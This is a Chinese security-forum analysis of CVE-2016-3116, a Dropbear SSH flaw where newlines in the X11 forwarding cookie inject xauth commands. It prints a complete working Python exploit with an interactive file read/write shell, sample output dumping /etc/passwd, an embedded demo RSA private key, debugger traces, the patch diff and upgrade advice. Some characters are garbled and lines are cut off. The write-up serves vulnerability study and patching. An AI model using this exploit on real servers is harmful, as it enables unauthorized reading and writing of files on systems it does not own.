cve-2016-3116 dropbear 注入漏洞分析

1s**** / 2019-10-30 09:25:55 / 浏览数 4425 安全技术 漏洞分析 顶(1) 踩(0)

漏洞简述

Dropbear是一个相对较小的SSH服务器和客户端。开源，在无线路由器等嵌入式linux系统中使用较多。

X11是一个用于图形显示的协议，用于满足在命令行使用的情况下对图形界面的需求。开启X11服务，需要在ssh配置中需要开启X11Forwarding选项（本选项在dropbea

本漏洞的成功触发需要认证权限，并且要求服务器dropbear配置中X11Forwarding
yes开启。漏洞产生的原因是因为没有对用户输入做足够的检查，导致用户在cookie中可以输入换行符，进而可以注入xauth命令，通过精心构造特殊的数据包，攻击者可

漏洞影响的版本：<= 2015.71 (基本上所有开启了x11forward的版本都适用; v0.44 ~11 years)

漏洞复现

编译**dropbear**

测试版本：dropbear-2015.71

服务器版本：ubuntu 16.04

在官网(https://matt.ucc.asn.au/dropbear/releases/)下载dropbear-2015.71.tar.bz2,解压后执行以下命令：

```
$ cd dropbear-2015.71
$ ./configure --prefix=/usr/local/dropbear/ --sysconfdir=/etc/dropbear/
$ make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"
$ sudo make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install
```

另外还需要创建一个用来存储dropbear配置文件的目录：

```
$ mkdir /etc/dropbear
```

然后启动dropbear即可(X11 forward默认开启)：

```
$ sudo ./dropbear -R -F -E -p 2222
```

在客户端主机中尝试使用ssh连接,可以连接成果，则表明编译成功。

运行exp结果

在服务器2222端口开启dropbear，尝试运行exp:

```
$ python CVE-2016-3116_exp.py 192.168.5.171 2222 island passwd
```

成功连接后可以获取路径信息以及任意文件读写操作：

信息读取：

```
#> .info
DEBUG:__main__:auth_cookie: '\ninfo'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:Authority file:       /home/island/.Xauthority
File new:             no
File locked:          no
Number of entries:    2
Changes honored:      yes
Changes made:         no
Current input:        (stdin):2
/usr/bin/xauth: (stdin):1:  bad "add" command line
```

任意文件读：

```
#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/zsh
```

```
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
```

任意文件写：

```
#> .writefile /tmp/testfile1 `thisisatestfile`
DEBUG:__main__:auth_cookie: '\nadd 127.0.0.250:65500 `thisisatestfile` aa'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:auth_cookie: '\nextract /tmp/testfile1 127.0.0.250:65500'
DEBUG:__main__:dummy exec returned: None
DEBUG:__main__:/usr/bin/xauth: (stdin):1:  bad "add" command line
```

在linux中查看：

```
$ cat /tmp/testfile1
■6550testtest■■65500`thisisatestfile`■■65500ssssss■%
```

可以看出写入成功

此处附上exp:

```
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
################################################################################
#
# FOR DEMONSTRATION PURPOSES ONLY!
#
################################################################################
import logging
import StringIO
import sys
import os

LOGGER = logging.getLogger(__name__)
try:
   import paramiko
except ImportError, ie:
   logging.exception(ie)
   logging.warning("Please install python-paramiko: pip install paramiko / easy_install paramiko / <distro_pkgmgr> install pyt
   sys.exit(1)

class SSHX11fwdExploit(object):
   def __init__(self, hostname, username, password, port=22, timeout=0.5,
                pkey=None, pkey_pass=None):
       self.ssh = paramiko.SSHClient()
       self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
       if pkey:
           pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(pkey),pkey_pass)
       self.ssh.connect(hostname=hostname, port=port,
                        username=username, password=password,
                        timeout=timeout, banner_timeout=timeout,
                        look_for_keys=False, pkey=pkey)

   def exploit(self, cmd="xxxx\n?\nsource /etc/passwd\n"):
       transport = self.ssh.get_transport()
       session = transport.open_session()
       LOGGER.debug("auth_cookie: %s"%repr(cmd))
       session.request_x11(auth_cookie=cmd)
       LOGGER.debug("dummy exec returned: %s"%session.exec_command(""))

       transport.accept(0.5)
       session.recv_exit_status()  # block until exit code is ready
       stdout, stderr = [],[]
       while session.recv_ready():
           stdout.append(session.recv(4096))
```

```
        while session.recv_stderr_ready():
            stderr.append(session.recv_stderr(4096))
        session.close()
        return ''.join(stdout)+''.join(stderr)              # catch stdout, stderr

    def exploit_fwd_readfile(self, path):
        data = self.exploit("xxxx\nsource %s\n"%path)
        if "unable to open file" in data:
            raise IOError(data)
        ret = []
        for line in data.split('\n'):
            st = line.split('unknown command "',1)
            if len(st)==2:
                ret.append(st[1].strip(' "'))
        return '\n'.join(ret)

    def exploit_fwd_write_(self, path, data):
        '''
        adds display with protocolname containing userdata. badchars=<space>

        '''
        dummy_dispname = "127.0.0.250:65500"
        ret = self.exploit('\nadd %s %s aa'%(dummy_dispname, data))
        if ret.count('bad "add" command line')>1:
            raise Exception("could not store data most likely due to bad chars (no spaces, quotes): %s"%repr(data))
        LOGGER.debug(self.exploit('\nextract %s %s'%(path,dummy_dispname)))
        return path

demo_authorized_keys = '''#PUBKEY line - force commands: only allow "whoami"
#cat /home/user/.ssh/authorized_keys
command="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+
'''
PRIVKEY = """-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAtUaWCq7z5CM7wGH1/2XlNVMy7glVgYCVHjf8BUZo+FypdD69
9SPu06CZ3e0vSUx5KxlQ7vgU6CtH9nQli53oMy225a/RUGEon/axzVtwTpMnVLqn
PLEUn9zPaCjwwpg/Brhr5+NHc3bm/u/LHmKrEg6IjyWssE16exuhA3G/Teed+NaN
zKR3jVLrmXohc9dp57jYBPLZJ5NSojsd27LjdWnq/PokxwvkQOrOPkhTne+7GRts
U68nW5a99jMSb4bpgqsUsIY0IIsKc1nfzUxonvcXmh+RASIffLCzA0OdQyJ7UrPh
TLw8dVOK2e9zsJYlOYUA6G3rnzq9sNmqe7XdeQIDAQABAoIBAHu5M4sTIc8h5RRH
SBkKuMgOgwJISJ3c3uoDF/WZuudYhyeZ8xivb7/tK1d3HQEQOtsZqk2P8OUNNU6W
s1F5cxQLLXvS5i/QQGP9ghlBQYO/l+aShrY7vnHlyYGz/68xLkMt+CgKzaeXDc4O
aDnS6iOm27mn4xdpqiEAGIM7TXCjcPSQ4l8YPxaj84rHBcD4w033Sdzc7i73UUne
euQL7bBz5xNibOIFPY3h4q6fbw4bJtPBzAB8c7/qYhJ5P3czGxtqhSqQRogK8T6T
A7fGezF90krTGOAz5zJGV+F7+q0L9pIR+uOg+OBFBBmgM5sKRNl8pyrBq/957JaA
rhSB0QECgYEA1604IXr4CzAa7tKj+FqNdNJI6jEfp99EE8OIHUExTs57SaouSjhe
DDpBRSTX96+EpRnUSbJFnXZn1S9cZfT8i80kSoM1xvHgjwMNqhBTo+sYWVQrfBmj
bDVVbTozREaMQezgHl+Tn6G1OuDz5nEnu+7gm1Ud07BFLqi8Ssbhu2kCgYEA1yrc
KPIAIVPZfALngqT6fpX6P7zHWdOO/Uw+PoDCJtI2qljpXHXrcI4ZlOjBp1fcpBC9
2Q0TNUfra8m3LGbWfqM23gTaqLmVSZSmcM8OVuKuJ38wcMcNG+7DevGYuELXbOgY
nimhjY+3+SXFWIHAtkJKAwZbPO7p857nMcbBH5ECgYBnCdx9MlB6l9rmKkAoEKrw
Gt629A0ZmHLftlS7FUBHVCJWiTVgRBm6YcJ5FCcRsAsBDZv8MW1M0xq8IMpV83sM
F0+1QYZZq4kLCfxnOTGcaF7TnoC/40fOFJThgCKqBcJQZKiWGjde1lTM8lfTyk+f
W3p2+20qi1Yh+n8qgmWpsQKBgQCESNF6Su5Rjx+S4qY65/spgEOOlB1r2Gl8yTcr
bjXvcCYzrN4r/kN1u6d2qXMF0zrPk4tkumkoxMK0ThvTrJYK3YWKEinsucxSpJV/
nY0PVeYEWmoJrBcfKTf9ijN+dXnEdx1LgATW55kQEGy38W3tn+uo2GuXlrs3EGbL
b4qkQQKBgF2XUv9umKYiwwhBPneEhTplQgDcVpWdxkO4sZdzww+y4SHifxVRzNmX
Ao8bTPte9nDf+PhgPiWIktaBARZVM2C2yrKHETDqCfme5WQKzC8c9vSf91DSJ4aV
pryt5Ae9gUOCx+d7W2EU7RIn9p6YDopZSeDuU395nxisfyR1bjlv
-----END RSA PRIVATE KEY-----"""


if __name__=="__main__":
    logging.basicConfig(loglevel=logging.DEBUG)
    LOGGER.setLevel(logging.DEBUG)

    if not len(sys.argv)>4:
        print """ Usage: <host> <port> <username> <password or path_to_privkey>

        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
```

```
"""
       sys.exit(1)
   hostname, port, username, password = sys.argv[1:]
   port = int(port)
   pkey = None
   if os.path.isfile(password):
       password = None
       with open(password,'r') as f:
           pkey = f.read()
   elif password==".demoprivkey":
       pkey = PRIVKEY
       password = None
       LOGGER.info("add this line to your authorized_keys file: \n%s"%demo_authorized_keys)

   LOGGER.info("connecting to: %s:%s@%s:%s"%(username,password if not pkey else "<PKEY>", hostname, port))
   ex = SSHX11fwdExploit(hostname, port=port,
                         username=username, password=password,
                         pkey=pkey,
                         timeout=10
                         )
   LOGGER.info("connected!")
   LOGGER.info ("""
Available commands:
   .info
   .readfile <path>
   .writefile <path> <data>
   .exit .quit
   <any xauth command or type help>
""")
   while True:
       cmd = raw_input("#> ").strip()
       if cmd.lower().startswith(".exit") or cmd.lower().startswith(".quit"):
           break
       elif cmd.lower().startswith(".info"):
           LOGGER.info(ex.exploit("\ninfo"))
       elif cmd.lower().startswith(".readfile"):
           LOGGER.info(ex.exploit_fwd_readfile(cmd.split(" ",1)[1]))
       elif cmd.lower().startswith(".writefile"):
           parts = cmd.split(" ")
           LOGGER.info(ex.exploit_fwd_write_(parts[1],' '.join(parts[2:])))
       else:
           LOGGER.info(ex.exploit('\n%s'%cmd))

   # just playing around
   #print ex.exploit_fwd_readfile("/etc/passwd")
   #print ex.exploit("\ninfo")
   #print ex.exploit("\ngenerate <ip>:600<port> .")               # generate <ip>:port  port=port+6000
   #print ex.exploit("\nlist")
   #print ex.exploit("\nnlist")
   #print ex.exploit('\nadd xx xx "\n')
   #print ex.exploit('\ngenerate :0 . data "')
   #print ex.exploit('\n?\n')
   #print ex.exploit_fwd_readfile("/etc/passwd")
   #print ex.exploit_fwd_write_("/tmp/somefile", data="`whoami`")
   LOGGER.info("--quit--")
```

漏洞分析

源码分析

根据公开信息，在处理X11请求中，会进入x11req针对X11 ■■■■■■■■■cookie■■■chansess`中：

```
/* called as a request for a session channel, sets up listening X11 */
/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
int x11req(struct ChanSess * chansess) {
   .....
   chansess->x11singleconn = buf_getbool(ses.payload);
   chansess->x11authprot = buf_getstring(ses.payload, NULL);
```

```
   chansess->x11authcookie = buf_getstring(ses.payload, NULL);
   chansess->x11screennum = buf_getint(ses.payload);
   .....
}
```

然后又会调用到x11setauth()函数：

```
#ifndef XAUTH_COMMAND
#define XAUTH_COMMAND "/usr/bin/xauth -q"
#endif
/* This is called after switching to the user, and sets up the xauth
* and environment variables.  */
void x11setauth(struct ChanSess *chansess) {
   .....
   /* popen is a nice function - code is strongly based on OpenSSH's */
   authprog = popen(XAUTH_COMMAND, "w");
   if (authprog) {
       fprintf(authprog, "add %s %s %s\n",display, chansess->x11authprot, chansess->x11authcookie);
       pclose(authprog);
   } else {
       fprintf(stderr, "Failed to run %s\n", AUTH_COMMAND);
   }
   .....
}
```

在x11setauth中，会调用popen执行/usr/bin/xauth -q,并将chansess中存储的cookie作为参数，此处参数没有对换行符等进行过滤，因此可以针对xauth的参数进行注入。

查看xauth的参数解析，发现我们感兴趣的主要是以下几个命令：

```
info     - ■■■■■■■■■
       $ xauth info
       Authority file:       /home/island/.Xauthority
       File new:             no
       File locked:          no
       Number of entries:    6
       Changes honored:      yes
       Changes made:         no
       Current input:        (argv):1

source   - ■■■■■■ (■■■■■■■■■■)
       # xauth source /etc/shadow
       xauth:  file /root/.Xauthority does not exist
       xauth: /etc/shadow:1:  unknown command                    "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"

extract  - ■■■■■■
        ■■■■■■■■■
        ■■■■■■■xauth.db■■
        ■■■`xauth add`■■■■■■■■■■■■■■■■■

generate - ■■ <ip>:<port>
        ■■■■■■■■
```

通过以上命令，虽然有一些程度限制，但是基本可以做到任意文件读写以及端口检测。

动态调试

为了更直观了解，使用gdb调试：

```
$ sudo gdb-multiarch dropbear
gef➤  set args -R -F -E -p 2222
gef➤  b x11req
Breakpoint 1 at 0x41357f
gef➤  b x11setauth
Breakpoint 2 at 0x413732
gef➤  set follow-fork-mode child
gef➤  r
Starting program: /home/island/work/soft/dropbear-2015.71/dropbear -R -F -E -p 2222
[39700] Oct 24 10:23:47 Not backgrounding
```

在另一台机器运行exp：

```
$ python CVE-2016-3116_exp.py 192.168.5.171 2222 island pwsswd
#> .readfile /etc/passwd
```

在调试机器中，将断点下在buf_getstring，第二次触发断点并返回时，查看返回值:

```
gef➤  x /s $rax                                                 0x637f40:       "xxxx\nsource /etc/passwd\n"
```

发现chansess->x11authcookie的值正是exp中输入的带有换行符的cookie值

再继续运行，运行到x11setauth中

将断点下载popen中：

```
gef➤  b popen
Breakpoint 4 at 0x7ffff7427600: file iopopen.c, line 273.
gef➤  c
Continuing.

Thread 4.1 "dropbear" hit Breakpoint 4, _IO_new_popen (command=0x422947 "/usr/bin/xauth -q", mode=0x4208ca "w") at iopopen.c:2
```

可以看到已经断下来，开始运行/usr/bin/xauth -q命令

后面便会将我们传入的cookie参数传递给xauth，由于换行符未进行过滤，因此可以针对xauth进行命令注入。

补丁对比

下载dropbear 2016.74源码，与有漏洞比较

dropbear 2016.74 NotVulnable:

```
/* called as a request for a session channel, sets up listening X11 */
/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
int x11req(struct ChanSess * chansess) {
   .....
   chansess->x11singleconn = buf_getbool(ses.payload);
   chansess->x11authprot = buf_getstring(ses.payload, NULL);
   chansess->x11authcookie = buf_getstring(ses.payload, NULL);
   chansess->x11screennum = buf_getint(ses.payload);

   if (xauth_valid_string(chansess->x11authprot) == DROPBEAR_FAILURE ||
       xauth_valid_string(chansess->x11authcookie) == DROPBEAR_FAILURE) {
       dropbear_log(LOG_WARNING, "Bad xauth request");
       goto fail;
   }
   fd = socket(PF_INET, SOCK_STREAM, 0);
   if (fd < 0) {
       goto fail;
   }
   .....
}
```

dropbear-2015.71 Vulnable:

```
/* called as a request for a session channel, sets up listening X11 */
/* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */
int x11req(struct ChanSess * chansess) {
   .....
   chansess->x11singleconn = buf_getbool(ses.payload);
   chansess->x11authprot = buf_getstring(ses.payload, NULL);
   chansess->x11authcookie = buf_getstring(ses.payload, NULL);
   chansess->x11screennum = buf_getint(ses.payload);
   fd = socket(PF_INET, SOCK_STREAM, 0);
   if (fd < 0) {
       goto fail;
   }
   .....
}
```

可以看出，新版本在获取到用户的输入后将cookie传入xauth_valid_string进行了检验

```
/* Check untrusted xauth strings for metacharacters */
/* Returns DROPBEAR_SUCCESS/DROPBEAR_FAILURE */
static int
xauth_valid_string(const char *s)
{
   size_t i;

   for (i = 0; s[i] != '\0'; i++) {
       if (!isalnum(s[i]) &&
           s[i] != '.' && s[i] != ':' && s[i] != '/' &&
           s[i] != '-' && s[i] != '_') {
           return DROPBEAR_FAILURE;
       }
   }
   return DROPBEAR_SUCCESS;
}
```

可以看出，xauth_valid_string还是做了比较严格的检查，使用isalnum函数检查，只可以是数字字母，否则便会返回失败。

修复建议

升级至dropbear 2016.72之后的版本。

或者

在dropbear编译时，删除options.h 中的 #define ENABLE_X11FWD选项，以关闭X11Forwarding功能。

参考链接

1. https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3116/

CVE-2016-3116_exp.py (0.007 MB) 下载附件

上一篇：JNDI注入原理及利用 下一篇：某Shop前台SQL注入

1. 0 条回复
   - 动动手指，沙发就是你的了！